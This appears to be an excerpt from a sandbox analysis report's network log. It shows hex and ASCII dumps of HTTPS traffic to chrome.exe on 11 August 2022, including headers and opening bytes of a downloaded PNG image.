Data Ascii: v.`wQ}]}~zcez~8KeHCtEurUkdn\x;%;srlc*yuE{nNzMLp/QVw'6J;_t}8?o>]EZ@Eb@!h>u;{uU=`8

2022-08-11 03:43:10 UTC 14281 IN Data Raw: 4e c9 0e 94 b4 ed e5 36 37 8c c3 7c 64 de 08 72 88 60 81 8c 1c 29 23 f3 ed 37 a8 69 6a cb f7 08 c3 d9 9c 1a 
d7 d2 bf e5 6b 85 91 a2 52 b6 d3 90 4a 20 ad 03 40 ad 61 6a b0 79 a9 9f 9b 0c 51 0d b6 9b 81 e6 17 30 bf 52 ef 10 93 87 
d8 76 71 62 17 68 14 6d 4f 69 16 ea c1 0a 5c 8a 4c 8a 9a d2 43 d4 de 1f 0d d0 ff e8 63 f4 3e fb 0c f9 ce 8e 80 ed 8a d9 
13 04 ad 45 80 0e c0 3d e9 ce a7 43 b9 e6 5b 8f 2d d5 8f 50 a7 04 47 79 2e d0 f0 e8 a0 26 d6 ba 0f 9d fb 14 28 89 3a 77 
86 45 32 78 b5 14 92 cd 7e 1b 79 7b 90 89 cf 32 f1 1e d4 9c d7 67 ac 4b 82 ea 34 fa 4d 4c 7c b2 a1 59 76 81 ca 5c 4b 32 
34 0b 6a 82 3b bb 24 ef bd 44 56 fe 0a 4d f5 d7 c8 40 a9 8a 3b c8 b1 13 f4 48 8e 35 82 9e 06 b8 65 bc aa 1f 82 84 51 e7 
91 f1 21 2e 3c 83 62 64 0a d6 d4 3a a6 f4 82 a5 4c 2a 9a 
Data Ascii: N67|dr`)#7ijkRJ @ajyQ0RvqbhmOi\LCc>E=C[-PGy.&(:wE2x~y{2gK4ML|Yv\K24j;$DVM@;H5eQ!.<bd:L*

2022-08-11 03:43:10 UTC 14297 IN Data Raw: b3 56 01 9f 0a 6c 98 c9 ae b1 24 7d 6d 83 c3 81 fe 84 26 82 78 97 9e eb c2 fc d2 14 66 6b d3 6b 56 56 56 43 
30 41 cb 05 96 0b 66 0a 2c 1d a8 ea 8e 64 5e 49 a0 99 e0 6a c5 f2 8b 91 1e 46 a5 20 c3 de c8 12 41 51 49 81 68 98 87 
ac 95 98 fa 43 80 e0 3a fb 9c fa 94 35 c1 a5 19 af 39 3d 05 5d a3 ec 2c 2b eb 43 c1 89 c2 df 25 e3 da f9 21 f1 1e 33 64 d4 
d0 0f 33 db 92 40 3e 25 bf e6 94 cb e2 38 62 f6 46 57 46 a1 d2 40 27 14 48 e6 39 af 91 79 2f 4b ed 79 c8 c7 b7 30 29 54 
50 32 f6 36 bc 67 e8 a6 d7 ec 5b ba 90 f5 dd 43 51 0c 14 c4 53 d0 2a e9 40 53 42 6a 31 41 35 3f 94 4c 4e 4e 70 75 74 07 
19 35 d2 77 ee 7b f9 39 7a 0a 1c 3e 45 3e 1f bb 4c 94 fa 51 10 23 a4 76 ba 43 d7 57 ce 4c 8c c8 10 61 11 25 87 43 56 ac 
4d bb 59 87 0a 8a 26 50 d1 a8 a1 7f 9a f5 51 1b 37 4b 1e 
Data Ascii: Vl$}m&xfkkVVVC0Af,d^IjF AQIhC:59=],+C%!3d3@>%8bFWF@'H9y/Ky0)TP26g[CQS*@SBj1A5?LNNput5w{9
z>E>LQ#vCWLa%CVMY&PQ7K

2022-08-11 03:43:10 UTC 14313 IN Data Raw: d2 29 2f 19 37 9e 41 b6 8c 71 49 a0 6c a5 28 8b ef b6 e7 39 67 00 28 e3 4d 19 0d 6e 0f 9b b0 ba df 8b d5 2e 
d6 ba d9 f8 dc 5c 2c fa dc 93 f6 f1 fd 1c 0f 5c 2b 19 a3 6c d6 d2 7a 96 fe f2 62 ad 67 e5 1e 03 59 2d 85 12 c9 fe 11 e0 9e 
86 f4 a5 af 6b 4b e7 4c ae c2 ca 57 30 5d 73 fe 36 00 e3 74 16 ef 91 15 c8 54 70 84 e0 11 e5 4e a6 be 6e c1 fd 1d b8 95 
26 be b2 86 a9 57 b2 8f 1c bc 53 66 83 f6 78 34 8b 25 65 98 8f 44 1a d0 58 28 fc 8d 36 36 cb 4d 6c 4e 35 0f bd 03 dc cf 
1e eb de fd eb 17 5d 03 17 cd bb 83 f1 f6 73 bd db 9f 05 f8 bb eb 97 bb 26 50 54 1e fb b6 24 66 7e 16 b6 fb 5d d7 dd 55 f7 
7b 53 d0 f2 dc fd 6f 02 46 5d 55 b4 fe f3 3b 2e e3 b5 9e 7b c3 3e a7 3d c3 9f a3 9c c3 97 b9 45 99 5f a9 8b 3b 78 87 1e 88 
be 2a 49 65 bb ff bc 56 93 dc 79 59 5f 07 aa 5f 
Data Ascii: )/7AqIl(9g(Mn.\,\+lzbgY-kKLW0]s6tTpNn&WSfx4%eDX(66MlN5]s&PT$f~]U{SoF]U;.{>=E_;x*IeVyY__

2022-08-11 03:43:10 UTC 14329 IN Data Raw: 24 e8 ae b4 73 33 e8 05 5e 4a e2 23 19 9d 4a 41 f7 81 d6 40 f7 42 00 af b4 59 67 b3 18 c1 c8 57 90 23 65 5a 
00 80 61 e9 26 10 2d 4d d8 62 54 56 24 5d d2 48 55 41 76 3d 1b 93 b8 72 68 36 03 4d 87 f1 d4 30 d7 99 39 19 f6 6a 1a 
c8 ba 9b 4d ac 61 b9 ab 4a eb 98 48 47 d9 e3 47 ac 36 00 2c 49 d6 58 ef ba 97 95 11 71 7c 2d 86 3b d9 45 68 d0 4e 1e 
dc 37 bb fd fe 81 ee b7 3e 39 95 41 1e 6c 66 0c 60 27 d3 89 8c 58 c5 24 54 72 40 13 9b e5 46 72 34 2a 63 9a 84 da 2c d4 
cc 3a 02 09 92 9d 58 2d 63 83 c6 3d 8c 60 7c 3c 76 61 39 ce 1c a4 40 c2 08 e6 aa 70 e5 51 54 a9 91 2b e6 2a 3a ef 2b 9
8 f3 66 fc 9b c1 0e e3 38 4d 6c a5 bb 6c 73 5b ca 8a b9 eb e6 14 70 12 d0 fb 20 26 7b 9b 98 1e 7c 1b a3 dd 3f 46 4c 9f 0b 
6c ee 1e 7e 1e f1 f0 33 01 df aa 2a b4 ab 7b e0 38 65 6b 72 2e 
Data Ascii: $s3^J#JA@BYgW#eZa&-MbTV$]HUAv=rh6M09jMaJHGG6,IXq|-;EhN7>9Alf`'X$Tr@Fr4*c,:X-c=`|<va9@pQT
+*:+f8Mlls[p &{|?FLl~3*{8ekr.

2022-08-11 03:43:10 UTC 14345 IN Data Raw: 60 d7 26 7f 72 60 f9 1f ec 5b 76 30 b3 9e ec 09 00 6a c6 00 f7 67 ce 03 bc 5e 21 0d 04 b3 3f 32 a6 84 c2 06 20 
6a 04 fe 90 b1 e9 ac 4c a0 6a 18 be 32 2f 6b a9 27 9b 23 e6 a5 94 79 21 c9 31 64 9a 18 eb da 8b b8 a4 8e e6 19 de 96 
00 00 0c 7e 24 d5 a4 b5 ce fc da 59 ae 8c 0a fa e7 d4 ba 83 e7 d6 7d ff cf ad f8 fe 8f 2d e7 19 47 af ad 3f 7a 17 f5 ec de 
0b c8 38 e1 5f 92 88 f8 43 74 5e 7d 9e 20 80 07 17 94 c9 50 61 60 8b 0f 03 c1 0d cf de d1 7c c5 7a 42 bf 90 e3 73 f8 8a 
24 54 5a 9b 81 90 ae 1b a4 10 b9 2c 8d 35 ca e1 40 fd 70 dc 8c 2c 10 ed a8 36 db a5 f7 f7 49 e3 63 c3 08 74 1f e3 05 db 
b7 94 01 da c6 08 3a 9f 5c 19 54 03 ff 6b 90 1f 82 e8 bd d9 a3 45 dc 39 72 cd 86 71 19 f6 1b 83 91 2c e3 16 df dd 26 b2 
be d0 73 67 ae e5 27 49 c6 0c e6 e7 49 2e 25 bd 8b f6 
Data Ascii: `&r`[v0jg^!?2 jLj2/k'#y!1d~$Y}-G?z8_Ct^} Pa`|zBs$TZ,5@p,6Ict:\TkE9rq,&sg'II.%

2022-08-11 03:43:10 UTC 14361 IN Data Raw: f7 7b 8f 3e 0f 66 5f 02 6e 9f 09 38 6c 9d be 2e d0 81 bc d3 fb c6 97 af 11 14 b8 f4 31 3a c3 6c 82 6e 62 48 0a 
70 9f 49 82 42 7f e1 f0 09 e8 0e e0 8e d6 b4 76 ec fe 1d 31 4c 00 dc d1 7e bc 0f 86 fb 99 1d fc 96 92 5f 39 7c 62 03 9d a4 
2c ce 5d 7f 27 86 fb 7d 8c 35 3f cf 04 f5 df 8d d3 fa 93 c2 fa 15 40 c6 f0 c7 0b 18 ee ce 5c 3a 43 ca 3a c7 71 4a 9c 27 6d 
ec a3 db a5 c3 43 b8 33 9d fd be 4e 36 00 1a 0e 36 25 06 bb 9b c5 45 59 53 07 1f ab c1 8c ee ef ad e4 8c cf 0d 43 de f5 
90 df 6b ce 54 fe 38 00 6f 00 77 37 4d 6d 9a b9 b5 8d 03 46 c8 cd e8 0e 09 b4 d2 61 4e 3a 3c 01 9c 50 64 37 83 d4 81 ad 
59 59 2b f0 a9 11 f3 2d 3f 7c 66 f6 e0 33 e9 4a 67 8b 23 cb 8e bf 34 5b 1d 39 c8 33 14 0c 70 c3 01 2e c9 a8 88 a1 8d 71 
a4 67 7c 64 c8 4f 24 60 0b a3 c3 6e 69 7d be 76 
Data Ascii: {>f_n8l.1:lnbHpIBv1L~_9|b,]'}5?@\:C:qJ'mC3N66%EYSCkT8ow7MmFaN:<Pd7YY+-?|f3Jg#4[93p.qg|dO$`ni}v

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:10 UTC 14377 IN Data Raw: 90 51 2f 8c 81 12 10 3c 1b 08 28 81 e5 ce 3d f2 d1 c4 4a 64 6c 4a af 7b 05 70 c4 96 0d 1d 77 f4 a2 85 62 d2 
b7 9d c9 dc 60 fc a9 80 12 6d 01 d3 36 18 e6 92 88 72 bf 01 b1 d4 65 4c 8b c1 02 20 32 ac fa b5 46 b9 4c 88 c5 66 0e 10 
58 26 b7 64 46 b0 86 02 56 57 96 27 b9 ab ce 10 97 6c 87 60 ca 93 41 80 be b8 82 23 8c 8c c8 2a 90 fc 95 67 9a 69 4c 
d5 00 4e b9 a4 98 08 42 00 86 0a 70 3f 41 4f 9b 40 de c8 8a 37 df 33 fb ce 9f 58 f3 c1 87 62 78 2b 80 79 7a 6c f9 f3 4f 2c 
3b f8 d8 b2 e5 89 3c 07 da d1 03 6b c7 0f 5c 62 08 13 cf ce ec 14 39 a5 a1 7f 17 e6 34 23 99 80 92 d8 ff a1 dd 2f 70 7e 
e1 1e 1c 92 fe 40 52 26 32 4b 60 22 13 44 19 23 5f 85 ce c9 91 d9 6a a5 4c a3 76 07 89 a1 a9 e6 f9 ec b3 bf b3 ec f3 9f 
99 b5 a5 b5 b3 8f ac 9d bd e5 41 22 31 ce 91 0e 23 20 52 
Data Ascii: Q/<(=JdlJ{pwb`m6reL 2FLfX&dFVW'l`A#*giLNBp?AO@73Xbx+yzlO,;<k\b94#/p~@R&2K`"D#_jLvA"1# R

2022-08-11 03:43:10 UTC 14393 IN Data Raw: f6 a6 8a b5 3a 59 72 fc fd b4 3c 53 19 99 b2 3d 1c 77 d4 ca 78 28 ed 97 b5 9f 72 30 1a 61 c6 f7 d3 3c be 6c 
57 8e 52 7a 2a e7 a8 e7 ee cf d9 fb 08 70 1f ea 20 c8 ab b5 88 f5 94 7e a3 38 34 c1 ae d6 24 a6 f6 89 e1 7e 9f e3 f7 d3 
35 4f 35 70 77 0d 4c 01 f7 b2 c8 dc 34 f3 dc 7d a7 8f be e2 3a 98 a7 8d dc 43 01 9c 8f 2e cd 07 7e f1 01 40 db f7 01 b8 97 
b7 79 34 e0 fd 7a bb 8c b4 af 07 54 c4 7d ab fc 36 40 f2 23 c1 76 77 77 b3 ed ca df ef 5b 94 0f be ee 53 f6 e7 4f 50 f5 23 
7b 38 eb f6 7b 1f 8f 8f f9 4e 0f a9 fb 9b 00 f7 9b c0 cc c7 2a ef 43 ca 3a 0e f6 6b bd f3 2e f0 75 72 f9 6d 8f 9f 6e c2 3d 58 
f2 85 cb 4e ee 83 07 c4 b5 2f dc 0a b8 4f 8e 00 c5 88 11 26 29 26 5e 1c 4a 92 9d 02 e0 de 6d db 38 9c ef a3 9e 6d 13 70 
b7 bc cc 0f 46 c3 7d fa ca 25 25 3f 75 b2 af 
Data Ascii: :Yr<S=wx(r0a<lWRz*p ~84$~5O5pwL4}:C.~@y4zT}6@#vww[SOP#{8{N*C:k.urmn=XN/O&)&^Jm8mpF}%%?u

2022-08-11 03:43:10 UTC 14409 IN Data Raw: f4 2d 32 02 32 43 44 c8 65 ca c4 78 02 f6 5a 97 e0 bb d6 14 e6 5d ee c1 2d 09 06 01 ba 73 2f 02 a3 c8 d1 a0 
99 2f 3d f6 04 f0 d5 78 96 2c 1b 78 07 82 3e 02 e3 93 c2 5a a8 e0 04 87 f6 5b 67 1c 29 79 83 60 28 41 52 6b 84 0f fb 41 
19 13 30 d4 fb 4d ab cc 04 79 56 60 2a cd 9c b7 d9 cb f4 1a 14 57 ba e5 33 82 6c 4d 74 98 60 33 fe 72 1f 64 49 0a d6 b1 
24 ec 3b ce 15 1d f7 47 7f 5d 49 41 ee 07 92 e0 8a 21 f6 00 f2 04 56 ab 41 4c 75 b4 d1 99 db 98 6f f8 bd 58 ef 78 d9 36 75
2c 97 30 d9 1d 30 bd dc 0f b1 dd db c7 65 31 87 99 6e 49 2f cc 6c c7 b3 8e 40 73 cf d9 0a f6 49 af da 9f 77 e8 ea 17 b6 f5 
18 37 e7 f3 22 dd 93 80 7b 06 9e 34 8f 01 7e a7 96 bb e6 e0 34 59 05 5c 56 d0 40 fa d7 bd 8c 5b 85 71 c2 b8 c7 83 64 7b 
88 f6 62 af 3a 9e 9d ae e3 f3 3f ff 07 f1 f2 5f fe 
Data Ascii: -22CDexZ]-s//=x,x>Z[g)y`(ARkA0MyV`*W3lMt`3rdI$;G]IA!VALuoXx6u,00e1nI/l@sIw7"{4~4Y\V@[qd{b:?_

2022-08-11 03:43:10 UTC 14425 IN Data Raw: 7a 1d d2 21 c8 00 c0 2e 07 d4 40 f3 b5 8f ca bb 59 68 00 9d 03 88 ae d2 f8 8e 58 cc 61 7f 73 f8 45 d7 1d 09 91 
34 8c 05 9c 85 59 0a f8 09 0b 7e 81 29 27 7a c1 c8 4b 34 c2 e2 a5 ae 20 b0 00 40 61 c3 54 ea 49 9f db 78 bd d8 db c0 f9 
98 d9 01 32 01 46 a6 7c 8d d4 52 24 65 0e e0 9e 72 34 22 90 02 ba 17 40 99 73 bc 9f 29 70 4b cc d3 3e 5e 96 69 bc b7 
14 a0 32 38 30 80 c3 01 0e f0 46 fe a5 d2 9b 07 00 e1 60 5f 4b 56 41 87 ba 1a 36 ac c1 4f c9 a1 00 9a c3 32 05 20 1e 0c 
a2 37 1e 47 35 b0 91 a7 74 6b a1 48 02 1c 03 90 ab 3d d1 cb b0 fc 82 f6 79 3a 19 da 50 d6 60 8c 65 81 74 10 d6 e1 d1 
ba ee 06 d7 61 8f d2 4e d6 d9 e6 5e dc 47 26 a3 34 08 c1 08 cd cd a9 dd 4e d9 a4 35 0f 20 04 13 30 c1 89 b2 45 51 70 
86 87 a3 a5 6f dd 5c 75 bd 04 1e 25 02 90 41 03 19 23 a2 09 8d 
Data Ascii: z!.@YhXasE4Y~)'zK4 @aTIx2F|R$er4"@s)pK>^i280F`_KVA6O2 7G5tkH=y:P`etaN^G&4N5 0EQpo\u%A#

2022-08-11 03:43:10 UTC 14441 IN Data Raw: 87 c5 3d f1 bc 3c 7d 12 f5 57 7f 2d d0 3d 56 67 d1 4d 08 c0 be 13 71 80 0c 0c 81 84 d3 68 be 78 12 cd 27 ab 
68 16 07 11 07 6f 47 3c 7c 3d ea 07 e3 a8 5f 1b 46 f5 d0 59 09 1d 7e 00 b0 d8 c9 cc e8 d3 d1 08 a2 1c 4b c2 06 59 92 aa 
1d 78 dd 98 3e 8a 98 3d 96 a1 f5 5a 7b 9f 2c a8 22 4d 84 44 18 80 f7 d0 fd 50 92 41 32 e7 e5 5d c8 9a c9 ec 98 34 78 96 
fe be 90 d4 fc 5d ef 09 9d d5 53 a2 d9 96 a1 b1 9f 87 b5 b9 15 0a db 02 1c 3d 4f 13 90 70 b6 d6 86 e9 0c 28 ac 2c 08 e6 
0d 79 58 74 0e 34 ed dd 8f 18 ef 79 7d 47 02 a9 9b db d7 63 32 89 c0 03 45 41 2b 02 92 84 0a 09 a8 f1 7c 32 69 16 9e b3 
91 6b 39 6d a3 79 32 8d f6 e8 49 74 27 27 b1 fa e2 2c a6 bf 38 8d e9 67 27 d1 1e cd d5 07 59 3d 00 d2 e9 ab da 3b 02 36 
02 b6 0f dd 67 cb 30 55 41 a4 b2 95 4c 10 01 ce ce 4e d1 
Data Ascii: =<}W-=VgMqhx'hoG<|=_FY~KYx>=Z{,"MDPA2]4x]S=Op(,yXt4y}Gc2EA+|2ik9my2It'',8g'Y=;6g0UALN

2022-08-11 03:43:10 UTC 14457 IN Data Raw: 7b 2f 3a b5 d7 2a 80 75 64 49 00 b8 07 b0 e5 c5 ea c7 e8 75 29 3f 12 d6 88 3e 2c 78 0c c0 bb 9c 03 ac 89 cf 
3e 09 e3 9c b5 8d b6 5b 1b b0 ea 18 e8 73 25 fd ac 73 63 92 31 00 dc 69 47 03 c9 de 67 74 b6 13 93 24 57 d8 3c b3 1a 
2c e7 b9 ce f6 ca 78 83 c1 79 8d 83 54 35 4f 9e 81 13 28 1c 98 55 6c 54 6c f2 22 45 47 40 c0 87 4f 05 cf 0b 60 ae f1 5a 
84 cd b2 3c 99 ec a5 33 97 b2 2c bd a7 15 a6 7d 1e 1d ac 90 a6 23 1c 9a fc 29 77 53 ea 94 c9 62 96 bd 71 fb eb 9c 41 00 
56 d9 52 c7 26 ed 1a d3 3a 57 7a 5c 2a fb b7 b5 04 8f 92 bf f0 2b aa cc e6 d7 ff 64 90 4d 20 91 ec 2b 62 70 9d 68 e7 8d 
24 c8 56 8b 0b c0 fd 65 5d f5 2e de 7b d1 02 e7 d3 02 27 41 f7 e7 05 64 9e b3 34 eb 94 e6 bc d8 ff 55 00 7b cf 59 97 35 
e0 7e 1a 38 f5 98 67 7e 5f 80 bb b6 c9 17 cd 74 3f 0b 10 f8 
Data Ascii: {/:*udIu)?>,x>[s%sc1iGgt$W<,xyT5O(UlTl"EG@O`Z<3,}#)wSbqAVR&:Wz\*+dM +bph$Ve].{'Ad4U{Y5~8g~_t?

2022-08-11 03:43:10 UTC 14473 IN Data Raw: 3a 80 f7 8c e5 7f aa 8f 3f 65 9b 7e 1f a0 fb a6 86 bb cd c8 ac 4f f6 c2 fe 9c 07 08 f8 34 85 7b 01 ef 39 ee b6 17 
d4 3e cf 5a 66 df 33 cf ef cf 39 3e eb a5 cc db 73 2c ff b7 a4 64 9e 37 13 21 cb f4 c8 94 7a 5c c0 a3 f4 e4 59 ea 21 14 2b 
c7 e7 b3 8e a7 d3 46 d2 49 c0 7d f3 33 27 cb 99 80 f2 a6 a4 cc e5 37 0d b8 f7 c4 70 f7 97 8f 95 a6 8e 45 ef d7 80 bb c0 8f 
02 4c 24 43 58 6c e1 02 7e 9c df 70 7f 21 4f ca 0b 6e 2e a4 36 51 fd ae fe 5e 2f 25 a7 01 ee 1b eb 4c e2 a9 1b 77 96 47 
8b af 74 70 ff ea d4 e5 fb d4 5f a6 74 42 31 57 4b 26 e6 31 88 9e cf e3 99 a9 71 fe c8 10 2d 3a 96 1b 85 2a c5 dc bc 5c 65 
af af 9b 64 1d 83 95 86 bb 19 ee 5c ea 7b 00 ee 3f 18 46 97 34 f2 79 15 b3 fd 61 2c f6 7a b1 3a 44 e6 64 4f cc dd aa bb 
13 6d 6f 5b da ca 6b 0d 5f 81 ef fc 0e 30 
Data Ascii: :?e~O4{9>Zf39>s,d7!z\Y!+FI}3'7pEL$CXl~p!On.6Q^/%LwGtp_tB1WK&1q-:*\ed\{?F4ya,z:DdOmo[k_0

2022-08-11 03:43:10 UTC 14489 IN Data Raw: 52 f1 b8 6a bc 6f a7 a7 1c c3 0b 0b 06 fc 4b 37 ad 5c 8a 9b 8a b0 39 b1 b5 d7 4f 86 72 b3 23 96 af 3e 2e 37 35 
68 8c 74 df 6e fe 4b 4b 9a c1 ed 9c 63 da 9f f4 79 36 97 76 35 23 b4 82 12 10 9a 80 cf 88 73 bc eb 7e a6 58 1e 3f 2a 16 
06 9a 84 f3 21 7a 64 04 40 f1 93 4c f3 cf a2 9a 72 df a6 6b b1 8c 01 5d 8e 90 c4 88 9a 38 27 c7 72 95 56 b3 bd a8 c0 fb 
20 a6 ef 5f 97 e0 3a 80 08 29 85 21 11 6e 27 3b 16 a4 c5 fe 66 53 9a dc 60 15 ec 23 20 80 4b 39 23 2f 1a f3 29 8a aa 2d 
f9 ff e5 d8 b4 75 d5 18 85 c4 e5 d8 dd 4e c4 06 14 05 05 16 11 b4 e1 71 4f 93 1d 6d d7 bf 15 9c e2 6e 4e 84 83 84 24 90 
1a 89 d9 41 5c 1a 81 89 30 4f 9f 7b 47 2c 92 9a 40 2b 65 20 45 22 3f 01 1f 6d d0 53 90 cf 42 b9 38 ee 11 69 b5 eb 4e 41 
40 59 19 e2 67 23 11 e0 22 4e 2e 35 e7 ee eb a8 60 c4 
Data Ascii: RjoK7\9Or#>.75htnKKcy6v5#s~X?*!zd@Lrk]8'rV _:)!n';fS`# K9#/)-uNqOmnN$A\0O{G,@+e E"?mSB8i
NA@Yg#"N.5`

2022-08-11 03:43:10 UTC 14505 IN Data Raw: 3b 7a ff ee f7 a2 fa dd ef 46 37 b9 a5 80 d4 78 f8 30 aa 87 9f 45 3c fc b9 ce b5 0a 41 9c 02 22 db a6 42 d3 2d 
8b ee 15 c5 0d 5c fd 9d 0b 42 38 c1 11 22 77 ef 47 b7 ff 4e 74 e4 2c 1c 7d 12 d5 c9 cf a3 aa 56 11 7b 04 f4 be 1d 5d 6f 37 
62 7e 62 5c d1 ec 51 d4 ca af 60 4c 39 3c 84 3d ae 62 cd 39 37 d9 8d fa d6 1b 51 4f ee 29 70 b8 5a 2e a3 9a 1d 44 35 ff 
2c aa b9 31 52 5d 3d 8e b6 0f bb ff 96 83 4e 85 0e 1a bb 20 a0 2e 24 3b 9b 15 c8 aa 3c 08 d6 50 ba 18 1c c0 ac b0 60 61 
64 c6 42 2c 55 0f 3f 54 67 87 f2 36 08 39 e6 35 3a c4 08 5e 74 55 a8 5f c2 a1 99 9c e6 d9 bd a1 6b cf 8a c2 d8 dc d4 2f 
8a 71 08 fa 73 38 f9 8b a8 17 d8 a3 09 50 65 6b 78 27 e7 a1 0b 7f 04 ad b6 5d cf 3c 67 85 70 1b 1f 66 87 3b e7 8b 83 94 
b5 c4 8b 9d 9e db a4 b5 97 02 02 05 3c 17 f7 e8 94 
Data Ascii: ;zF7x0E<A"B-\B8"wGNt,}V{]o7b~b\Q`L9<=b97QO)pZ.D5,1R]=N .$;<P`adB,U?Tg695:^tU_k/qs8Pekx']<gpf;<

2022-08-11 03:43:10 UTC 14521 IN Data Raw: 0f 41 81 d5 8d 04 77 15 fc c5 55 77 88 2e f4 b8 51 af 89 3e 05 2f 0c 06 2a c8 b3 4c f2 3e 3a 5a 3a b9 d9 95 ea 
50 51 94 b3 23 1d 37 fc 7a 3e d5 7d 19 13 96 fc 87 01 5d 13 76 37 6c ee c7 7c 2e 64 b7 80 ee 33 1d 66 ed ee 15 ae 27 
e4 dd 64 51 4c 82 7b c1 ec 94 7c 9f 74 bc e7 b8 4b 7c 67 df 85 bf e1 77 c2 ff dc 08 ee cf 14 19 6e 5e 70 33 02 37 23 f0 ec 
11 78 11 7d e3 d9 9f fe c4 57 bc 12 91 ee 05 b6 ef ca 6f bd 60 3c 0b 4e a6 b8 86 74 81 78 49 42 df 45 db fd c2 82 7b f9 d0 
27 e0 2c be 12 17 f7 f9 6d b9 a6 f1 bc 56 a1 fd fc c1 b8 a6 6d 7c ee b9 f9 92 04 f7 cd 54 ff aa f6 6b 7b 20 9e 77 1d 7b 49 
db 7c 7e a8 2f fd 35 57 35 79 e7 17 58 f8 4b 2d 74 d8 c5 9d 77 17 d7 cc 70 df 1a ec fc ce 4d 00 e0 16 82 a5 b8 44 78 d0 
b4 78 bc 91 92 9f 32 6d b7 0f de 35 0b ef 72 f8 
Data Ascii: AwUw.Q>/*L>:Z:PQ#7z>}]v7l|.d3f'dQL{|tK|gwn^p37#x}Wo`<NtxIBE{',mVm|Tk{ w{I|~/5W5yXK-twpMDxx2m5r

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:10 UTC 14537 IN Data Raw: 64 2e 2c 67 61 ed 63 d7 96 28 68 85 c5 4a c2 6f c6 b6 9c 00 21 57 cd b0 c3 a2 26 4c 85 ab c3 71 a3 73 02 45 
be 0b 2f 3e 5e 11 38 1b 76 46 69 c5 40 91 02 82 64 60 17 76 12 de 4e 13 d3 f0 2d 37 44 03 88 ba 78 91 01 6c 93 41 84 
4a 1e 31 66 ad aa bf 7f a4 fe df ff 52 dd 8f 4f d5 a3 c2 06 c6 ef 07 98 76 40 5d 86 96 ba 8d 7f 53 40 4a 5f 69 b7 ff 07 0c 0b 
f0 1d 45 38 ce ad e8 18 8a 02 9c bd 8e 09 29 4d 69 69 83 b7 ee d1 54 3a 3a b0 e7 76 bf 5c aa 7a 7a a2 fa c9 85 74 d1 ab 
5d 02 50 4a 4e 30 d6 1c 95 01 78 58 d4 f3 ff 01 90 e1 65 6d e8 5e 96 0d 72 07 f8 df 40 f0 21 f0 a1 53 3b 07 a0 02 38 08 
47 1d aa 02 b8 7b 38 01 fb 84 f6 01 df 33 64 8e f9 e5 43 86 c2 3e 01 93 85 eb 40 32 6c 12 c2 1a 07 b8 86 b5 45 e9 56 09 
ab ed 4b 4b 14 f3 93 75 2a 12 8b 38 b8 5b ab 99 b7 5e 
Data Ascii: d.,gac(hJo!W&LqsE/>^8vFi@d`vN-7DxlAJ1fROv@]S@J_iE8)MiiT::v\zzt]PJN0xXem^r@!S;8G{83dC>@2l
EVKKu*8[^

2022-08-11 03:43:10 UTC 14553 IN Data Raw: cf e3 e8 70 a2 08 cc f5 ca 5d 56 59 0c 71 47 d4 d4 ea 78 d6 22 7f 56 3b 0b 18 d9 b5 21 ba 37 31 8e e2 ad fd 
bb b1 42 c3 2e c5 de e6 58 98 a0 f4 8d 8e a4 01 d7 38 17 0a e9 dc 61 b9 ca 35 3c 6d d9 1c a8 69 bf 24 ae c7 63 d5 14 5f 
fc 41 45 ed 4f 41 6e ab 90 da 95 42 6a 58 c3 b8 a0 e4 62 17 d7 f4 a5 bb b5 b8 9f 02 fa 0e 27 bb 71 ae 3b cf 24 e0 ba cb 
16 00 7e 17 6e 98 de 54 9b 86 3e 1f 09 c4 ad 99 07 3b 14 bf 96 ba 78 7c a1 8f fe c3 5c 4f ff ba d1 68 3d d0 ee 61 ad 66 da 
6b 8d 47 3c f7 0f 2e a4 46 5d 60 c9 ff 6f f0 28 1f 68 6f 32 f0 71 03 7e 9f cf d6 9a 3b bc 94 4b 47 42 d8 3a 00 30 f7 01 80 
7a 1a 68 f8 c7 58 d9 e7 3d c1 b8 0b 7a b6 13 89 07 64 d6 18 94 e9 84 aa 72 08 46 a3 08 4a 25 f8 93 e1 9a 2f 5a cd 57 71 
8f 61 0b 99 41 13 30 d8 b5 7d 3a 69 42 95 cf c6 f1 
Data Ascii: p]VYqGx"V;!71B.X8a5<mi$c_AEOAnBjXb'q;$~nT>;x|\Oh=afkG<.F]`o(ho2q~;KGB:0zhX=zdrFJ%/ZWqaA0}:iB

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

265 47.243.100.207 443 192.168.11.20 51580 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:08 UTC 13414 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:08 GMT
etag: "487ce-62f0cdd2-202efb;;;"
last-modified: Mon, 08 Aug 2022 08:48:18 GMT
content-type: image/png
content-length: 296910
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:08 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:09 UTC 13463 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 02 10 08 06 00 00 00 de 85 eb a3 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 
00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 04 87 54 49 44 41 54 78 da ec fd 69 90 6c 5b 
76 df 87 fd d6 da fb 9c 93 59 75 a7 37 76 bf ee 46 63 20 08 10 1c 81 06 40 80 24 40 00 8d c6 48 53 20 45 87 a5 0f 36 29 
99 a4 48 93 01 85 68 85 c5 0f 92 1d e1 21 42 61 39 38 78 20 4d 5b a6 c5 20 24 51 a4 68 d2 0a 5a b6 65 91 21 c9 32 27 
05 41 11 04 40 90 98 81 46 0f ef bd 7e ef dd 9a 32 f3 9c b3 f7 5a fe b0 4f 66 65 55 65 65 d5 9d de 7d c3 fe 35 0a 75 5f 65 
56 56 0e fb ec fd df 6b af f5 5f e2 ee 54 2a 95 4a a5 52 a9 54 
Data Ascii: PNGIHDRpHYs cHRMz%u0`:o_FTIDATxil[vYu7vFc @$@HS E6)Hh!Ba98x M[ $QhZe!2'A@F~2ZO
feUee}5u_eVVk_T*JRT

